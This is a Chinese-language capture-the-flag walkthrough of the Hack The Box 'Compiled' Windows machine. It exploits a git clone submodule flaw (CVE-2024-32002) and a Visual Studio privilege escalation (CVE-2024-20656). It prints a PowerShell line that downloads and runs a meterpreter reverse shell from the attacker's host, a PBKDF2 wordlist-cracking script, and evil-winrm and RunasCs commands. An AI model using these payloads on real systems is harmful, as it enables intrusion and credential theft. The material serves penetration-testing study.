HTB靶场Compiled(Windows)[Medium]

admin 2024年10月30日19:27:05评论100 views字数 4049阅读13分29秒阅读模式

本文章仅用于网络安全研究学习,请勿使用相关技术进行违法犯罪活动。

Hack The Box是一个国外的靶机在线平台,实验环境将实时更新,允许您测试您的渗透测试技能。

知识点:CVE-2024-32002、CVE-2024-20656

kali:10.10.16.9 

Tricker:10.10.11.38

0001.信息收集

nmap扫描端口,开放的是3000端口和5000端口,两个端口都是网站。(结果过长,影响阅读,这里就不贴结果了)

nmap -sC -sV -O -oN nmap.txt 10.10.11.26

首先查看3000端口,搭建的gitea网站,里面有Compiled库和Calculator库。

HTB靶场Compiled(Windows)[Medium]

Calculator库是使用C++编写的计算器,代码结构如下。

HTB靶场Compiled(Windows)[Medium]

下载后,使用visual studio打开Calculator.sln文件,快捷键    

CTRL + SHIFT + B就可以编译成exe文件,运行情况如下:

HTB靶场Compiled(Windows)[Medium]

Compiled库就是5000端口网站的源码代码结构如下:

HTB靶场Compiled(Windows)[Medium]

网站主页唯一输入框如下,网站允许你提交C++、C#和.Net所编写项目的GitHub库URL,会自动下载项目并编译。    

HTB靶场Compiled(Windows)[Medium]

0002.获取Richard用户权限

阅读Calculator库的说明,发现git版本为2.45.0。

HTB靶场Compiled(Windows)[Medium]

搜索相关漏洞,git 2.45.0有漏洞CVE-2024-32002。

CVE-2024-32002

https://amalmurali.me/posts/git-rce/

漏洞简述:

git clone –-recursive xxx复制库时会复制所有的子模块

captain库中,设置A/modules/x指向子模块hook

hook库中y/hooks/post-checkout包含命令执行代码

captain库中创建a符号链接文件,指向.git文件夹。(.git只会在本地存在,包含了版本控制所需的所有信息)

漏洞点:复制到本地时会将Aa混浠,导致本应该存储在A/modules/x的文件,存储到了.git/modules/x,就会将git checkout作为钩子文件触发。

具体步骤如下:

a.在网站中创建hook库和captain

HTB靶场Compiled(Windows)[Medium]    

b.从github中下载create_poc.sh文件

漏洞利用

https://github.com/amalmurali47/git_rce?tab=readme-ov-file

c.修改create_poc.sh文件,红框中是注入的代码。

nameme.exemsfvenom准备的反弹shell文件,前面文章已经提过多次,这里不赘诉了,记得使用msfconsole监听端口,这次使用的的payloadwindows/x64/meterpreter/reverse_tcp

powershell Invoke-WebRequest -Uri 'http://10.10.16.11/nameme.exe' -OutFile 'C:UsersPublicnameme.exe';powershell Start-Process 'C:UsersPublicnameme.exe'

HTB靶场Compiled(Windows)[Medium]

d.运行create_poc.sh文件,运行后目录结构如下

chmod +x create_poc.sh./create_poc.sh

HTB靶场Compiled(Windows)[Medium]

e.上传仓库

cd hookgit remote add origin http://gitea.compiled.htb:3000/test_admin/hook.gitgit push origin maincd ../captaingit remote add origin http://compiled.htb:3000/test_admin/captain.gitgit push origin main

f.进入captain中修改.gitmodules文件,将指向地址修改为hook库。    

HTB靶场Compiled(Windows)[Medium]

d.在nameme.exe所在文件夹开启网站服务,在5000端口网站输入captain库的链接地址。等待一会,成功反弹shell。

HTB靶场Compiled(Windows)[Medium]

0003.获取emily用户权限

c:Program FilesGiteadata目录发现gitea.db文件,传输到本地后打开,里面有emily用户的密码,加密方式,加密的盐值。

密码:97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16加密方式:pbkdf2|50000盐值:227d873cca89103cd83a976bdac52486

HTB靶场Compiled(Windows)[Medium]

pbkdf2无法直接解码,但是可以尝试穷举,使用如下代码1s就可以跑出密码。

import hashlibimport osdecode_password = "97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16"iterations = 50000salt = "227d873cca89103cd83a976bdac52486"salt = bytes.fromhex(salt)dklen=50def generate_hash(password, salt, iterations):    # 生成PBKDF2-SHA256的密钥    key = hashlib.pbkdf2_hmac(            'sha256',          # 使用SHA256算法        password.encode(), # 将密码编码为字节        salt,              # 盐值        iterations,         # 迭代次数        dklen=dklen    )    return salt, keywith open("D:/fuzz/rockyou/rockyou.txt", "r", encoding="latin-1") as f:    a = f.read()    a = a.split("n")for i in range(len(a)):    resalt, hashed_password = generate_hash(a[i], salt, iterations)    if hashed_password.hex() == decode_password:        print("password:", a[i])            print("Salt:", resalt.hex())        print("Hashed Password:", hashed_password.hex())        break

HTB靶场Compiled(Windows)[Medium]

使用获取的密码登录,成功获取emily用户权限和user.txt

evil-winrm -u 'emily' -p 'xxx' -i 10.10.11.26

HTB靶场Compiled(Windows)[Medium]

0004.获取root用户权限

在服务器上经过一番查找,没有特别信息,但是找到了Visual Studio 2019,网上搜索VS提权漏洞发现CVE-2024-20656    

漏洞简述Visual Studio的诊断服务器VSStandardCollectorService150是以NT AUTHORITYSYSTEM用户执行,该服务可以在C:/windows/Temp生成受限制的文件。

经过VSDiagnostics.exe/scratchLocation参数修改存放位置。

SetNamedSecurityInfoW()修改权限。

Windows 错误报告服务修复文件,再加上链接的方式。

最终可以以NT AUTHORITYSYSTEM用户权限执行任意文件。

具体漏洞发现过程见文章:

CVE-2024-20656

https://www.mdsec.co.uk/2024/01/cve-2024-20656-local-privilege-escalation-in-vsstandardcollectorservice150-service/

漏洞利用:

https://github.com/Wh04m1001/CVE-2024-20656
漏洞利用

将文件下载到本地后目录如下:    

HTB靶场Compiled(Windows)[Medium]

修改main.cpp文件两处位置:

第一处是VSDiagnostics.exe文件的目录改成靶机上的位置

WCHAR cmd[] = L"C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Team Tools\DiagnosticsHub\Collector\VSDiagnostics.exe";

第二处是漏洞利用文件,改成反弹shell存放的位置。

HTB靶场Compiled(Windows)[Medium]

Expl.sln文件使用Vusual Studio打开,编译方式改成Release,平台工具及改成2019版本。    

HTB靶场Compiled(Windows)[Medium]

快捷键CTRL + SHIFT + B进行编译,得到Expl.exe文件

HTB靶场Compiled(Windows)[Medium]

这里还需要RunasCs.exe文件,作用是运行时自动输入密码。

RunasCs

https://github.com/antonioCoco/RunasCs

现在把nameme.exe、Expl.exe、RunasCs.exe文件上传到靶机,使用msf监听本地端口,运行如下命令:

./RunasCs.exe emily 12345678 c:rrmExpl1.exe

HTB靶场Compiled(Windows)[Medium]

成功反弹shell

HTB靶场Compiled(Windows)[Medium]

避坑:

1.调试的时候如果一直无法反弹成功,也不知道原因,在每条输出代码后面加fflush(stdout); 运行时会显示输出,判断哪里出问题了。

2.显示[-] Cannot start process!,说明代码修改中第一个位置路径错误。    

3.显示No output received from the process.尝试重启靶机再试。

4.显示[*] Command to execute: xxxx然后就退出了,确定下是不是代码修改的第二个位置的shell路径错误,最好和靶机大小写一致。

5.不要放弃,多试几次,这一步分析原因尝试了几十次才成功。   

感谢收看! 

原文始发于微信公众号(Rsec):HTB靶场Compiled(Windows)[Medium]

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月30日19:27:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB靶场Compiled(Windows)[Medium]https://cn-sec.com/archives/3334240.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息